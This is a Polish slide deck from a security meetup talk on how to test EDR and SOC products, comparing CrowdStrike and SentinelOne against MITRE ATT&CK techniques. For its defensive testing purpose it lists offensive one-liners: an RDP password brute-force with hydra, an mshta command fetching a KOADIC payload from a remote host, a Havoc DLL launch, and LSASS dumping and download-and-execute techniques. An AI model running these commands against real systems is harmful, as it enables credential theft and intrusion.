
# POZNAŃ SECURITY MEETUP – REAKTYWACJA :)



# WHOAMI

> Jakub Staśkiewicz

> Trener, autor, audytor, pentester

> OpenSecurity.pl

> Miłośnik Linuksa i Wolnego Oprogramowania

.
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# POZNAŃ SECURITY MEETUP

> Luźna atmosfera

> Edukacja na każdym poziomie

> Bez nachalnego marketingu i sprzedaży

> Rozwijamy też umiejętności ‘miękkie’

> Nie oczekujemy zbyt wiele ;)

> Dobrze się bawimy

.
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# Czy, jak i po co testować systemy EDR oraz SOC 

- case study



# BACKUPY SCHRöDINGERA

> Nie wiemy czy istnieją dopóki ich nie odtworzymy

> Robić to za mało – trzeba testować

> Systemy bezpieczeństwa również

.
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# JAK NIE TESTOWAĆ

> Próbki wirusów (np. eicar.com)

> Witryny o złej reputacji

> Złośliwe narzędzia (np. mimikatz)

> Zainfekowany załącznik

> Zainfekowany pendrive

> RanSim Simulator od KnowBe4

To wszystko za mało – takie testy ewentualnie nadają się dla antywirusa,

nie zaawansowanych systemów typu EDR/SOC

.
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# ROLA SYSTEMÓW EDR / SOC

> Detekcja zaawansowanych ataków i złożonych incydentów

> Detekcja na różnych etapach kill-chain

> Świadomość kontekstu 

> Możliwości analityczne

> Wsparcie w reakcji na incydent

> Ograniczenie dalszej eskalacji

.
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# MACIERZ MITRE ATT&CK (attack.mitre.org)

.
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.
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# MACIERZ MITRE ATT&CK (attack.mitre.org)

.
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# TESTUJEMY

> Kali Linux

> nmap -p- -A [-sS|-sU] 192.168.0.0/24

> nmap -sV --script vulners

> dirbuster

> hydra -l administrator -P slownik.txt rdp://192.168.0.44/

> GVM

.
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# MALWARE

> Kali Linux 

> Metasploit

> msfvenom

.
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# MALWARE - KOPIOWANIE

.
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# MOŻE JAKIŚ FUD?

> KOADIC C3 (c:\> mshta http://10.0.0.101/test) 

> HAVOC (c:\> rundll32 daemon.dll) 

.
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# EDR OFFLINE

> Co gdy nie ma chmury?

> Nowe próbki by uniknąć wykrycia przez zarejestrowany IOC

> Dostarczone na pamięci USB flash 

> W obu systemach detekcja złośliwego pliku

> CrowdStrike dodatkowo zainicjował skanowanie całej pamięci flash i przeniósł

pliki do kwarantanny

.

21



# OPERACJE NA PAMIĘCI / PROCESACH

> Zrzut pamięci procesu LSASS

> Sysinternals NotMyFault (symulacja wycieku pamięci jądra)

> Sysinternals RAMmap (zapis mapy pamięci fizycznej)

> Próba zrzutu pamięci procesu LSASS nie powiodła się, jednak tylko system

> CrowdStrike zareagował alertem informującym o potencjalnej próbie przechwycenia 

uprawnień..
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# MAN IN THE MIDDLE

> Ettercap

> Zatrucie tablicy ARP 

> Przechwycenie sesji logowania http

> DNS spoofing

> PKO.PL ???

.
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# HAK5 HARDWARE
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# HAK5 HARDWARE

> Bad USB - Rubber Ducky

> Hotplug – Shark Jack

> Network implant – Packet Squirrel

.
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# GITHUB - OP7IC/EDR-Testing-Script

.
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# LOLBIN / LOLBAS

.
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# LOLBIN/LOLBAS

> Uruchamianie kodu

> Kompilowanie kodu

> Operacje na plikach (upload, download)

> Persistence (utrwalanie)

> Omijanie UAC

> Zrzut pamięci procesu

> Kradzież danych uwierzytelniających 

> Omijanie / modyfikowanie dzienników systemowych

.
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# LOLBIN/LOLBAS

.
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https://lolbas-project.github.io/ https://github.com/SigmaHQ/sigma

https://kapitanhack.pl  https://twitter.com/0gtweet

https://lolbas-project.github.io/


# OP7IC - EDR-Testing-Script

.

30



# OP7IC – EDR-Testing-Script

.

31SentinelOne – brak reakcji / CrowdStrike blokada i raport



# OP7IC – EDR-Testing-Script

.
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# RÓŻNICE: CROWDSTRIKE > SENTINELONE

> Podłączenie USB Rubber Ducky

> Próba zrzutu pamięci procesu LSASS

> Złośliwy kod w 2 plikach zaciemnionych przy użyciu FUD-UUID-SHELLCODE

> Pobranie potencjalnie niebezpiecznego pliku XSL za pomocą wmic (T1047)

> Pobranie i wykonanie skryptu ze zdalnego serwera przez Invoke-Expression (T1086)

> Pobranie i zapisanie skryptu powershell za pomocą certutil (T1130)

> Deobfuskacja złośliwej biblioteki DLL za pomocą certutil (T1140)

> Zdefiniowanie w rejestrze opcji File Execution Options (IFEO) (T1183)

.
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# MITRE ATT&CK EVALUATIONS

.

34https://attackevals.mitre-engenuity.org/



# ZNANE GRUPY APT

> Wizard Spider

> Sandworm

> Carbanak

> FIN7

> APT29

> APT3

> Turla (2023).
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# MITRE ATT&CK EVALUATIONS

.
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# MITRE ATT&CK EVALUATIONS

.

37



# MITRE ATT&CK EVALUATIONS

.
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# PODSUMOWANIE – WYKRYCIA - KATEGORIE

> Pokrycie analityczne – ilość zdarzeń wzbogaconych o dane analityczne

> Pokrycie telemetryczne – ilość zdarzeń zawierających tylko minimalnie 

przetworzone dane

> Widoczność – łączna ilość zdarzeń analitycznych i telemetrycznych

> Łączna liczba detekcji (statystyka porzucona w 2022)

.
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# WNIOSKI

> Czy testować? - Tak

> Przemyśleć procedurę testową, poszukać narzędzi

> Nie wyciągać pochopnych wniosków

> Wziąć pod uwagę czynniki zewnętrzne (np. kto wdrażał)

> Szukać potwierdzenia dla własnych obserwacji

> Szukać opracowań w danym temacie

.
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# DZIĘKUJĘ ZA UWAGĘ

# logout

kuba@OpenSecurity.pl 

OpenSecurity.pl/psm
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